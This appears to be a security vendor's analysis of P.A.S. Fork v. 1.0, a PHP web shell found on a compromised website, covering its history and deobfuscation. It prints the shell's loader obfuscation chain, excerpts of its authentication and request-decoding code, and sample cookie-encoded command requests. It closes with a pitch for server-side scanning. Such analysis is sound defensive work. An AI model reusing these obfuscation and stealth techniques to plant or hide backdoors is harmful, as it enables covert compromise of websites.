P.A.S. Fork v. 1.0 — A Web Shell Revival

A PHP web shell containing multiple functions can easily consist of thousands of lines of code, so it’s no surprise that attackers often reuse the code from some of the most popular PHP web shells, like WSO or b374k.

After all, if these popular (and readily available) PHP web shells do the job, there’s no need to code an entirely new tool. Instead of completely writing a new PHP shell, attackers are simply masking or cloaking the pre-existing code by using a variety of different obfuscation techniques to avoid detection.

And while this happens all the time with popular PHP web shells, during an investigation we came across a new — and perhaps more unusual — variation of a rather interesting PHP web shell.

P.A.S. v. x web shell — the history

The P.A.S. PHP web shell has a sordid and confusing history due to inaccurate information, but it originally emerged back in 2013 when the author “Profexer” announced on a Russian forum that their new beta web shell was available for others to try out.

The forum thread’s title was PAS (php web-shell) but the shell’s code refers to it as P.A.S., so we can speculate that it’s likely an acronym relating to PHP Web Shell. For example, the popular web shell WSO is an acronym for Web Shell by Orb.

To further emphasize the point that attackers aren’t very interested in “reinventing the PHP shell,” here is the very first reply to the forum thread:

This PHP shell seemed to have flown under the radar until late 2016, when the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI) released a joint report (JAR-16-20296A) detailing the specific indicators of compromise (IoCs) for detecting the PAS web shell. The report also disclosed its usage by known APT (advanced persistent threat) groups tied to Russian intelligence agencies.

It’s important to note that the usage by known APTs does not indicate any affiliation with “Profexer,” as attackers regularly reuse others’ tools for their own attacks.

Unfortunately, there were still accusations made against them, which led to their editing of the initial 2013 forum thread post announcing the retirement of the P.A.S. v.x web shell.

If you are interested in learning more about the history of the Profexer web shell tool, I encourage you to read this article by Brian Krebs.

A New Variant:  P.A.S. v.x ➜ P.A.S. Fork v. 1.0

Fast forward to January 2020. A new forum thread is created, showing a renewed interest in the capabilities that the P.A.S. web shell offers.

As mentioned by the forum thread creator, these capabilities are mainly related to evasive features which avoid detection from web application firewalls and intrusion detection systems.

In March 2020, we detected the usage of this “new” version P.A.S. Fork v. 1.0 on a client’s compromised website:

./cache/cff.php

Code Analysis

Upon analysis, it became apparent that this version was using a different packer/obfuscator to hide the source code from scanners.

One of its many obfuscation techniques adds a bunch of unused comments which include random ASCII characters and this makes the PHP code difficult to read unless you are using an editor with code syntax highlighting, or remove the code comments.

When using PHP syntax highlighting in an editor, however, it becomes a little easier to tell what is valid code and what is unused comments, as they usually appear greyed out. Now that we know what to remove, we can proceed to remove it manually in the editor or can use regex to create a matching pattern for the code comments needing to be removed.

After removing all of these unnecessary comments, we are left with the following PHP code.

<?php
parse_str('0=%61%72%72%61%79%5f%6d%61%70&1=%73%74%72%72%65%76&2=%67%7a%75%6e%63%6f%6d%70%72%65%73%73&3=%62%61%73%65%36%34%5f%64%65%63%6f%64%65&', $s);
$s[0]$s[1]('noitcnuf_etaerc'), array(),
array('};'.$s[2]($s[3]($s[1]('XV7SHBwF1oqZKBGoEhsBtWc...
...

Before we can do that, however, we need to determine exactly what the array variable values are for “$s[2]($s[3]($s[1]” To make this determination, we look to the hexadecimal from the first line of code and convert it to the more human readable ASCII.

0=%61%72%72%61%79%5f%6d%61%70&1=%73%74%72%72%65%76&2=%67%7a%75%6e%63%6f%6d%70%72%65%73%73&3=%62%61%73%65%36%34%5f%64%65%63%6f%64%65&

⇊

0=array_map&1=strrev&2=gzuncompress&3=base64_decode&

strrev(), gzuncompress(), and base64_decode() are all PHP functions commonly used to obfuscate code, so now we just determine the array value order — it is rather easy here, since it is already mapped to the numerical values (0, 1, 2, 3).

Now, we can just correspond the numbered values to the array variable $s[ ] and more easily deobfuscate the source code of the P.A.S. web shell. I also went ahead and added the PHP function echo so that the deobfuscated code can be printed to the browser/terminal.

<?php
echo(gzuncompress(base64_decode(strrev('XV7SHBwF1oqZKBGoEhsBtWc…
...

Now we can actually get the source code from the large string beginning with “XV7SHBwF1oqZKBGoEhsBtWc”.

I prefer to run the modified PHP script code in terminal, but you can load it in the browser and it will print the source code text instead of evaluating it. One important caveat is that this is a large shell, so it may crash your browser.

#php cff.php | tee -a cff-decode.output
?><?php
$GLOBALS['HASHTYPE'] = 'sha512';
$GLOBALS['PASSHASH'] = 'dfbbeccfdcae9732e3d43697861efbe7bc56ffc746f07c3176a4594fc09977b747997d93cb65fb64ff093bc467e0ab35de3bc761efa29cb29a95c4df38375c26';//P@55w()rD
$GLOBALS['SECHEAD'] = 'USER_AGENT';
$GLOBALS['COOKIE'] = true;
$GLOBALS['DEBUG'] = (isset($GLOBALS['DEBUG']) ? $GLOBALS['DEBUG'] : false);

filterClient();
decodeRequest();
checkAuth();
...

The output results in over 7,400 lines of the PHP code, so I’d suggest storing the outputs in a file for easier review.

P.A.S. Fork v. 1.0 vs P.A.S. v. 4.1.1b

Now we can begin to compare the source code for the P.A.S. Fork v. 1.0 variant versus the P.A.S. v. 4.1.1b, which was the latest version of the PHP shell created by the original author “Profexer.”

There are actually many small but numerous modifications to the code that exist between the variant and the original code source, so it’s easiest to view these differences with a text editor like Sublime, which allows you to compare the two files side by side and highlights the code differences.

One example of an obvious modification is found in the image below: on the left column, P.A.S. Fork v. 1.0 uses $_REQUEST instead of using the individual $_GET and $_POST requests seen on the right column (P.A.S. v. 4.1.1b)

You can also see the naming change as one of the differences in the code. The darker shaded text is the added or changed text. Below, the text “FORK“ was added to the newer P.A.S. Fork v. 1.0 version, on line 1982:

Other changes include “fixes” to the functionality of the MySQL feature which allows the backdoor to connect and query databases. These fixes did not exist on the original P.A.S. v. 4.1.1b iteration.

When you load and use the PHP backdoor shell in the browser, there is visually not much difference from the two versions, aside from the noticeable name changes — P.A.S. Fork v. 1.0 instead of the older P.A.S. v. 4.1.1b.

Interestingly, the attacker added a “night” theme for P.A.S. Fork v. 1.0, and I have enabled it to help differentiate the two being loaded by the browser.

Many features for P.A.S. v. 4.1.1b were encountering PHP errors in my testing environment (PHP 7.4) and these were preventing them from being fully functional, but all of the features on P.A.S. Fork v. 1.0 worked fine — indicating that an extensive number of bug fixes were made for the new fork.

Obfuscated/Hashed Requests and Response for Stealth

The various backdoor commands are contained in cookies which are sent with the attacker’s HTTP request. This can allow the HTTP request to look benign at first glance as it doesn’t have any URL parameters and is a GET request rather than a POST request.

As an example, here are the cookies that are used when loading the backdoor’s file manager interface:

GET: /pas_fork.php
MjhkMWYy2a=aFguHSwlfEsLRTpDf2YqBTsqIRd8EhAXPSA5QisnNg%3D%3D;
MjhkMWYy2c=Kw%3D%3D;
yYWMkhjMMjhkMWYy=TWpoa01XWXlNMk00WlRsbU9HTTJOVGd4T0RJME5URTRZV1ZsTURsaVlqUXhORFF6TVdZd05EYzFNMk0yTVdNek5qWXpNekZtWldZME1tSTRZVEUwT1dNMFpHTXpNV1ZqWlRsbFpXRmxPRGxqWVRBME16WmpNakF5TW1Kak5HTXdOekl5Tm1VNE1EZ3haak0yTkRoalpqVTJOakk0TkdVeFpHWTVOekF4WkRJPQ%3D%3D

Using obfuscated strings within the cookies conceals any code or plain text, so the request itself may not appear suspicious to external scanners or filters who may be on the lookout for known malicious content.

Obfuscation is set using hash values which are created by a hash applied to a string of data containing the server IP address and the backdoor file. A hashed password can also be hardcoded and used instead.

$GLOBALS['HASHTYPE'] = 'sha512';
$GLOBALS['PASSHASH'] = 'dfbbeccfdcae9732e3d43697861efbe7bc56ffc746f07c3176a4594fc09977b747997d93cb65fb64ff093bc467e0ab35de3bc761efa29cb29a95c4df38375c26'; //P@55w()rD
$GLOBALS['SECHEAD'] = 'USER_AGENT';
...
function genEncKey($str)
{
return base64_encode(hash($GLOBALS['HASHTYPE'], $_SERVER['REMOTE_ADDR'] . $str . __FILE__));
}
function decodeRequest()
{
$_REQUEST = array_merge($_FILES, $_COOKIE, $_REQUEST);
unset($_GET, $_POST, $_COOKIE);
$GLOBALS['PRELEN'] = getPreLen();
if (!$GLOBALS['ENCKEY'] = getEncKey()) $GLOBALS['ENCKEY'] = setEncKey();
$_REQUEST = decodeInput($_REQUEST);
}

In addition to these requests, responses from the backdoor to the attacker are also obfuscated through the use of Javascript and PHP output buffering.

<?=paramsHandlerJS() ?>
</html>
<?php $out = ob_get_contents();
ob_end_clean();
ob_start('ob_gzhandler');
print makeOut($out);

As a result, the entire response body is obfuscated, making it harder to determine if it is a malicious request or not since the unencrypted message is not known.

Conclusion & Mitigation

To help mitigate risk, consider using a server-side scanner that scans the website at the server level.

Our server-side scanner operates independently of website plugins and can be used for most websites, regardless of the software used. It will also inform you if access to the website’s server is lost — which can happen if an attacker tries to disable the server-side scanner.

This scanner essentially serves as a backup alarm to let you know if file integrity monitoring has been disabled, so further investigation can be conducted.

When combined with integrity monitoring services, you’ll have a firm handle on any changes within your website’s environment.